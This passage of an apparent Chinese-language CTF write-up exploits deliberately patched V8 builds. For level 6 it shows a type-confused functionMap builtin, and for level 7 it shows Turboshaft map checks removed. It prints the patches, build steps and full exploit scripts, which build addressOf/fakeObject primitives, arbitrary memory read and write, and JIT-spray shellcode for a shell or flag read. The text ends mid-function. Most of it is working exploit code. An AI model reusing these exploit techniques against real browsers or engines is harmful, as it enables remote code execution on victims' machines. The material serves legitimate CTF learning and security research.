    fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
    return f64_to_u64(fake_obj[0]);
}
 
function AAW(addr,val){
    logg("addr",addr);
    logg("val",val);
    fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
    // stop();
    fake_obj[0] = u64_to_f64(val);
}
 
// p(shellcode);
var shellcode_addr = u64_to_u32_lo(addressOf(shellcode));
var code_addr = u64_to_u32_lo(AAR(shellcode_addr+0xc));
var ins_base = AAR((code_addr)+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
 
AAW(code_addr+0x14,(BigInt(ins_base)+0x6bn));
 
// stop();
shellcode();
 
// spin();

level-6

环境搭建

漏洞分析里有完整的patch内容

1
2
3
4
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release

修改编译参数

1
2
3
4
5
6
7
8
9
10
11
12
➜  current cat args.gn
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

接着编译

1
autoninja -C out/release d8

漏洞分析

添加了一个functionMap的方法

省略前面一部分的检查操作,这个和之前的都很类似,这个方法会获取一个参数,这个参数必须是JSFunction

下面是主要逻辑,对原本array的所有元素进行操作,取出元素转换为obj,也就是下面的elem_handle,解释调用func_obj,也就是用户穿入的自定义函数,参数就是elem_handle,将返回值再写入原本的elements内

细看其实就会发现问题,这里没有对于元素类型进行检查,意味着我返回的元素类型可以改变为与原本对象不同的类型,那么这样就会导致原本对象的map改变,这样就可以实现类型混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+BUILTIN(ArrayFunctionMap) {
+  Handle<Object> func_obj = args.at(1);
+   ……………………………………
+  for (uint32_t i = 0; i < len; i++) {
+    double elem = Cast<FixedDoubleArray>(array->elements())->get_scalar(i);
+    Handle<Object> elem_handle = factory->NewHeapNumber(elem);
+    Handle<Object> result = Execution::Call(isolate, func_obj, array, 1, &elem_handle).ToHandleChecked();
+    if (!IsNumber(*result)) {
+      THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+        factory->NewStringFromAsciiChecked("The function must return a number")));
+    }
+    double result_value = static_cast<double>(Object::NumberValue(*result));
+    Cast<FixedDoubleArray>(array->elements())->set(i, result_value);
+  }
+
+  return ReadOnlyRoots(isolate).undefined_value();
+}

patch的完整内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..d450412f3e6 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -407,6 +407,53 @@ BUILTIN(ArrayPush) {
   return *isolate->factory()->NewNumberFromUint((new_length));
 }
  
+BUILTIN(ArrayFunctionMap) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate->factory();
+  Handle<Object> receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Nope")));
+  }
+
+  Handle<JSArray> array = Cast<JSArray>(receiver);
+
+  ElementsKind kind = array->GetElementsKind();
+
+  if (kind != PACKED_DOUBLE_ELEMENTS) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need an array of double numbers")));
+  }
+
+  if (args.length() != 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("Need exactly one argument")));
+  }
+  uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
+
+  Handle<Object> func_obj = args.at(1);
+  if (!IsJSFunction(*func_obj)) {
+    THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory->NewStringFromAsciiChecked("The argument must be a function")));
+  }
+  for (uint32_t i = 0; i < len; i++) {
+    double elem = Cast<FixedDoubleArray>(array->elements())->get_scalar(i);
+    Handle<Object> elem_handle = factory->NewHeapNumber(elem);
+    Handle<Object> result = Execution::Call(isolate, func_obj, array, 1, &elem_handle).ToHandleChecked();
+    if (!IsNumber(*result)) {
+      THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+        factory->NewStringFromAsciiChecked("The function must return a number")));
+    }
+    double result_value = static_cast<double>(Object::NumberValue(*result));
+    Cast<FixedDoubleArray>(array->elements())->set(i, result_value);
+  }
+
+  return ReadOnlyRoots(isolate).undefined_value();
+}
+
 namespace {
  
 V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 78cbf8874ed..ede2775903e 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -394,6 +394,7 @@ namespace internal {
       ArraySingleArgumentConstructor)                                          \
   TFC(ArrayNArgumentsConstructor, ArrayNArgumentsConstructor)                  \
   CPP(ArrayConcat)                                                             \
+  CPP(ArrayFunctionMap)                                                        \
   /* ES6 #sec-array.prototype.fill */                                          \
   CPP(ArrayPrototypeFill)                                                      \
   /* ES7 #sec-array.prototype.includes */                                      \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index 9a346d134b9..33cf2d2edad 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
       return Type::Receiver();
     case Builtin::kArrayUnshift:
       return t->cache_->kPositiveSafeInteger;
+  case Builtin::kArrayFunctionMap:
+    return Type::Receiver();
  
     // ArrayBuffer functions.
     case Builtin::kArrayBufferIsView:
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..5e76e66bc15 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
  
     SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
                           true);
+  SimpleInstallFunction(isolate_, proto, "functionMap",
+                        Builtin::kArrayFunctionMap, 1, false);
     SimpleInstallFunction(isolate_, proto, "concat",
                           Builtin::kArrayPrototypeConcat, 1, false);
     SimpleInstallFunction(isolate_, proto, "copyWithin",

漏洞利用

对于上面的分析,我们就可以尝试构造一个函数,动态的修改obj的类型,下面是addressOf的编写,采用switch case的结构,使用itr进行遍历。第一次执行victim_arr[2] = obj; ,成功的修改了map,然后itr为1的时候,就会解析出来obj的地址

idx=1可以索引出原本victim_arr[2]的原因是由于类型发生转换,变成obj类型之后,转换成pointer,对应了四字节(也就是指针压缩),所以索引arr的idx会发生改变

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function addressOf(obj){
    let victim_arr = [1.1,2.2,3.3];
    // let object = {};
    let address = 0;
    let itr = 0;
    // p(victim_arr);
    victim_arr.functionMap( val => {
        switch(itr){
            case 0:
                // p(obj)
                // stop();
                itr++;
                victim_arr[2] = obj;
                return val;
            case 1:
                // stop();
                itr++;
                // logg("val",f64_to_u64(val));
                // stop();
                address = u64_to_u32_lo(f64_to_u64(val));
                return val;
            case 2:
                // stop();
                itr++;
                return val;
            default:
                itr++;
                return val;
        }
    });
    return address;
}

接着就是fakeObject,思路是很类似的,这里还是修改arr的类型,然后解析穿入地址,伪造成一个obj,接着调用arr[0]返回,索引的问题和上面是一样的,可以动态调试看下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function fakeObject(address){
    let arr = [1.1,2.2,3.3];
    let fake_object;
    let obj = {};
    let itr = 0;
    // p(arr);
    // p(obj);
    arr.functionMap(val => {
        switch(itr){
            case 0:
                itr++;
                // stop()
                arr[2] = obj;
                // logg("address",address);
                // stop();
                return lh_u32_to_f64(address,0);
            default:
                // stop();
                itr++;
                return val;
        }
    });
    return arr[0];
}

有了addressOf和fakeObject,后面的步骤都是一致的,AAR和AAW,最后JIT Spray

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
function f64_to_u32l(val){
    f64[0] = val;
    return u32[0];
}
function f64_to_u32h(val){
    f64[0] = val;
    return u32[1];
}
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
 
function stop(){
    %SystemBreak();
}
 
function p(arg){
    %DebugPrint(arg);
}
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
// gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
for(let i = 0; i< 10000; i++){
    shellcode();
}
 
function addressOf(obj){
    let victim_arr = [1.1,2.2,3.3];
    // let object = {};
    let address = 0;
    let itr = 0;
    // p(victim_arr);
    victim_arr.functionMap( val => {
        switch(itr){
            case 0:
                // p(obj)
                // stop();
                itr++;
                victim_arr[2] = obj;
                return val;
            case 1:
                // stop();
                itr++;
                // logg("val",f64_to_u64(val));
                // stop();
                address = u64_to_u32_lo(f64_to_u64(val));
                return val;
            case 2:
                // stop();
                itr++;
                return val;
            default:
                itr++;
                return val;
        }
    });
    return address;
}
 
 
function fakeObject(address){
    let arr = [1.1,2.2,3.3];
    let fake_object;
    let obj = {};
    let itr = 0;
    // p(arr);
    // p(obj);
    arr.functionMap(val => {
        switch(itr){
            case 0:
                itr++;
                // stop()
                arr[2] = obj;
                // logg("address",address);
                // stop();
                return lh_u32_to_f64(address,0);
            default:
                // stop();
                itr++;
                return val;
        }
    });
    return arr[0];
}
 
var fake_map = [
    u64_to_f64(0x31040404001c01b5n),
    u64_to_f64(0x0a8007ff11000844n)
]
 
var fake_map_address = addressOf(fake_map)+0x54;
 
var fake_array = [
    lh_u32_to_f64(fake_map_address,0x0),
    lh_u32_to_f64(0x1,0x1000)
];
 
p(fake_array);
 
var fake_array_address = addressOf(fake_array)+0x54;
var fake_obj = fakeObject(fake_array_address);
 
console.log(typeof fake_obj);
logg("fake_array_address",fake_array_address);
logg("fake_map_address",fake_map_address);
 
 
function AAR(addr){
    fake_array[1] = lh_u32_to_f64(addr-8,0x1000);
    return f64_to_u64(fake_obj[0]);
}
 
function AAW(addr,val){
    fake_array[2] = lh_u32_to_f64(addr-8,0x1000);
    fake_obj[0] = u64_to_f64(val);
}
 
p(shellcode);
var shellcode_addr = addressOf(shellcode);
var code_addr = u64_to_u32_lo(AAR(shellcode_addr+0xc));
var ins_base = AAR((code_addr)+0x14);
 
logg("shellcode_addr",shellcode_addr);
logg("code_addr",code_addr);
logg("ins_base",ins_base);
 
AAW(code_addr+0x14,(BigInt(ins_base)+0x6bn));
 
shellcode();
spin();

level-7

现在登场的是,因为环境问题卡了最久的:(

环境搭建

漏洞分析里有完整的patch内容

1
2
3
4
git reset --hard 5a2307d0f2c5b650c6858e2b9b57b335a59946ff
gclient sync -D
git apply < ./patch
gn gen out/release

修改编译参数

1
2
3
4
5
6
7
8
9
10
11
12
➜  release git:(5a2307d0f2c) ✗ cat args.gn
# Set build arguments here. See `gn help buildargs`.
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

接着编译

1
autoninja -C out/release d8

漏洞分析

这里的patch是对于turbofan的,可以看到目录是/src/compiler/turboshaft/,优化阶段是machine-lowering

这里是删去了对于map为空时的检查

1
2
3
4
5
6
7
8
@@ -2740,7 +2740,7 @@ class MachineLoweringReducer : public Next {
                             const ZoneRefSet<Map>& maps, CheckMapsFlags flags,
                             const FeedbackSource& feedback) {
     if (maps.is_empty()) {
-      __ Deoptimize(frame_state, DeoptimizeReason::kWrongMap, feedback);
+      //__ Deoptimize(frame_state, DeoptimizeReason::kWrongMap, feedback);
       return {};
     }

这里一整个将对于map检查的操作全部删去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@@ -2749,14 +2749,14 @@ class MachineLoweringReducer : public Next {
       IF_NOT (LIKELY(CompareMapAgainstMultipleMaps(heap_object_map, maps))) {
         // Reloading the map slightly reduces register pressure, and we are on a
         // slow path here anyway.
-        MigrateInstanceOrDeopt(heap_object, __ LoadMapField(heap_object),
-                               frame_state, feedback);
-        __ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
-                           DeoptimizeReason::kWrongMap, feedback);
+        //MigrateInstanceOrDeopt(heap_object, __ LoadMapField(heap_object),
+        //                       frame_state, feedback);
+        //__ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
+        //                   DeoptimizeReason::kWrongMap, feedback);
       }
     } else {
-      __ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
-                         DeoptimizeReason::kWrongMap, feedback);
+      //__ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
+      //                   DeoptimizeReason::kWrongMap, feedback);
     }
     // Inserting a AssumeMap so that subsequent optimizations know the map of
     // this object.

总的来看,对于一段代码经过优化后,将不会检查map类型。换句话说,这段代码被优化之后,我可以对其操作过的对象的map任意修改

完整的patch内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
diff --git a/src/compiler/turboshaft/machine-lowering-reducer-inl.h b/src/compiler/turboshaft/machine-lowering-reducer-inl.h
index 170db78717b..17b0fe5c4e9 100644
--- a/src/compiler/turboshaft/machine-lowering-reducer-inl.h
+++ b/src/compiler/turboshaft/machine-lowering-reducer-inl.h
@@ -2740,7 +2740,7 @@ class MachineLoweringReducer : public Next {
                             const ZoneRefSet<Map>& maps, CheckMapsFlags flags,
                             const FeedbackSource& feedback) {
     if (maps.is_empty()) {
-      __ Deoptimize(frame_state, DeoptimizeReason::kWrongMap, feedback);
+      //__ Deoptimize(frame_state, DeoptimizeReason::kWrongMap, feedback);
       return {};
     }
  
@@ -2749,14 +2749,14 @@ class MachineLoweringReducer : public Next {
       IF_NOT (LIKELY(CompareMapAgainstMultipleMaps(heap_object_map, maps))) {
         // Reloading the map slightly reduces register pressure, and we are on a
         // slow path here anyway.
-        MigrateInstanceOrDeopt(heap_object, __ LoadMapField(heap_object),
-                               frame_state, feedback);
-        __ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
-                           DeoptimizeReason::kWrongMap, feedback);
+        //MigrateInstanceOrDeopt(heap_object, __ LoadMapField(heap_object),
+        //                       frame_state, feedback);
+        //__ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
+        //                   DeoptimizeReason::kWrongMap, feedback);
       }
     } else {
-      __ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
-                         DeoptimizeReason::kWrongMap, feedback);
+      //__ DeoptimizeIfNot(__ CompareMaps(heap_object, maps), frame_state,
+      //                   DeoptimizeReason::kWrongMap, feedback);
     }
     // Inserting a AssumeMap so that subsequent optimizations know the map of
     // this object.
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index facf0d86d79..382c015bc48 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
  
 Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
-  global_template->Set(Symbol::GetToStringTag(isolate),
+/*  global_template->Set(Symbol::GetToStringTag(isolate),
                        String::NewFromUtf8Literal(isolate, "global"));
   global_template->Set(isolate, "version",
                        FunctionTemplate::New(isolate, Version));
@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   global_template->Set(isolate, "readline",
                        FunctionTemplate::New(isolate, ReadLine));
   global_template->Set(isolate, "load",
-                       FunctionTemplate::New(isolate, ExecuteFile));
+                       FunctionTemplate::New(isolate, ExecuteFile));*/
   global_template->Set(isolate, "setTimeout",
                        FunctionTemplate::New(isolate, SetTimeout));
   // Some Emscripten-generated code tries to call 'quit', which in turn would
   // call C's exit(). This would lead to memory leaks, because there is no way
   // we can terminate cleanly then, so we need a way to hide 'quit'.
-  if (!options.omit_quit) {
+/*  if (!options.omit_quit) {
     global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
   }
   global_template->Set(isolate, "testRunner",
@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
   if (i::v8_flags.expose_async_hooks) {
     global_template->Set(isolate, "async_hooks",
                          Shell::CreateAsyncHookTemplate(isolate));
-  }
+  }*/
  
   return global_template;
 }

漏洞利用

接着写一个poc验证我们的想法,下面的结果是成功验证了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
function f64_to_u32l(val){
    f64[0] = val;
    return u32[0];
}
function f64_to_u32h(val){
    f64[0] = val;
    return u32[1];
}
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
function f64_to_u32_lo(val){
    f64[0] = val;
    return u32[0];
}
 
function f64_to_u32_hi(val){
    f64[0] = val;
    return u32[1];
}
 
function stop(){
    %SystemBreak();
}
 
function p(arg){
    %DebugPrint(arg);
}
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
var flag = false;
var array = [1.1,2.2,3.3];
 
function bypass(obj){
    if(flag) array[1] = obj;
}
 
function trigger(arr,obj){
    if(flag || 1){
        bypass(obj);
    }
    return arr[0];
}
 
%OptimizeFunctionOnNextCall(trigger);
 
trigger(array);
 
%OptimizeFunctionOnNextCall(trigger);
 
let a ={};
p(a);
flag = true;
let address = f64_to_u32_hi(trigger(array,a));
 
logg("obj addr",address);

使用Turbolizer分析下,选择到BuildGraph阶段

此时存在checkmap的检查,结合diff,发生在机器码优化阶段之前

接着将调到MachineLowering阶段

可以发现原本的CheckMaps已经变成了AssumeMap,AssumeMap意味着假设对象的map不会改变,对应diff里的逻辑就是不对map进行任何检查

后方已经不存在任何的map检查

可以聊一下这里addressOf的编写。通过分析上述优化阶段可以发现,该补丁实际上只影响 TurboFan 优化器。因此,只有在代码被 TurboFan 优化时,才可能触发前述漏洞。自 2021 年 V8 引入 Maglev 后,在不满足直接使用 TurboFan 优化条件的情况下,Ignition 生成的字节码会先由 Maglev 生成 SSA 和 CFG,随后再交由 TurboFan 进一步优化。由于这种优化路径的不同,上述漏洞在该路径下不会被触发。

所以我们需要增加函数的复杂性和执行时间,一步到位的去直接跳过Maglev的优化

复杂性方面无需多言,而在执行时间方面,TurboFan 会评估编译优化该函数所需的时间与该函数未优化时的执行时间,只有当优化能够带来明显的性能提升时,TurboFan 才会选择对该函数进行优化。

下面采用了if(flag || idx < 1)的分支结构,防止下方的bypass函数被优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function addressOf(obj){
    let array;
    let address;
    let flag;
 
    function bypass(obj){
        if(flag) {
            // p(array);
            array[2] = obj;
            // p(array);
        }
    }
     
    function trigger(arr,idx){
        for (let i = 0; i < 0x10000; i++){};
        array[0] = 3.3;
        if(flag || idx < 1){
            bypass(obj);
        }
        return arr[1];
    }
 
    flag = false;
    for(let i = 0; i < 0x1000; i++){
        array = [1.1,2.2,3.3];
        trigger(array,i);
    }
 
    flag = true;
    address = trigger(array,obj);
    return f64_to_u32_lo(address);
}

其实后续发现采用try-catch的结构也可以增加成功率,不过笔者并没有提供try-catch结构的exp,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function addressOf(obj){
    let array = [1.1,2.2,3.3];
    let address;
    let flag;
 
    function bypass(obj){
        if(flag) {
            // p(array);
            array[2] = obj;
            // p(array);
        }
    }
     
    function trigger(arr,idx){
        try {
            for (let i = 0; i < 0x10000; i++){};
            if(flag || idx < 1){
                bypass(obj);
            }
            return arr[1];
          } catch (e) {
            return 0;
          }
    }
 
    flag = false;
    for(let i = 0; i < 0x1000; i++){
        trigger(array,i);
    }
 
    flag = true;
    address = trigger(array,obj);
    return f64_to_u32_lo(address);
}

后面的构造步骤基本一致,然后需要注意的点就是,调用完addressOf之后,大概率触发gc,会导致堆布局的变化

exp

最后的脚本,远程环境中成功率不高,得多试几次(写个爆破脚本也不是不行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
 
// function gc() {
//     for (let i=0;i<0x10;i++) new ArrayBuffer(0x1000000);
// }
 
// function js_heap_defragment() {
//     gc();
//     for (let i=0;i<0x1000;i++) new ArrayBuffer(0x10);
//     for (let i=0;i<0x1000;i++) new Uint32Array(1);
// }
 
 
function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
function f64_to_u32l(val){
    f64[0] = val;
    return u32[0];
}
function f64_to_u32h(val){
    f64[0] = val;
    return u32[1];
}
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}
 
function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}
 
function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}
 
function f64_to_u32_lo(val){
    f64[0] = val;
    return u32[0];
}
 
function f64_to_u32_hi(val){
    f64[0] = val;
    return u32[1];
}
 
// function stop(){
//     %SystemBreak();
// }
 
// function p(arg){
//     %DebugPrint(arg);
// }
 
function spin(){
    while(1){};
}
 
function hex(str){
    return str.toString(16).padStart(16,0);
}
 
function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}
 
 
 
// catflag
const shellcode = () => {return [
    1.9710255944286777e-246,
    1.971136949489835e-246,
    1.97118242283721e-246,
    1.9711826272864685e-246,
    1.9712937950614383e-246,
    -1.6956275879669133e-231
];}
 
 
// // gain shell
// const shellcode = () => {return [
//     1.9553825422107533e-246,
//     1.9560612558242147e-246,
//     1.9995714719542577e-246,
//     1.9533767332674093e-246,
//     2.6348604765229606e-284
// ];}
 
for(let i = 0; i< 0x10000; i++){
    shellcode();
}
 
// js_heap_defragment();
 
 
function addressOf(obj){
    let array;
    let address;
    let flag;
 
    function bypass(obj){
        if(flag) {
            // p(array);
            array[2] = obj;
            // p(array);
        }
    }
     
    function trigger(arr,idx){
        for (let i = 0; i < 0x10000; i++){};
        array[0] = 3.3;
        if(flag || idx < 1){
            bypass(obj);
        }
        return arr[1];
    }
 
    flag = false;
    for(let i = 0; i < 0x1000; i++){
        array = [1.1,2.2,3.3];
        trigger(array,i);
    }
 
    flag = true;
    address = trigger(array,obj);
    return f64_to_u32_lo(address);
}
 
var shellcode_addr = addressOf(shellcode);
 
// p(fake_array);
// p(shellcode);
 
// p(double_array_map);
logg("shellcode_addr",shellcode_addr);
 
 
 
function fakeObject(addr){
    let array;
    let flag;
    function bypass(addr){
        if(flag) {
            // p(array);
            array[2] = {};
            // p(array);
        }
    }
     
    function trigger(arr,idx,addr){
        for (let i = 0; i < 0x10000; i++){};
        array[0] = 3.3;
        if(flag || idx < 1){
            bypass(addr);
        }
        array[0] = lh_u32_to_f64(addr,0);
    }
 
    flag = false;
    for(let i = 0; i < 0x1000; i++){
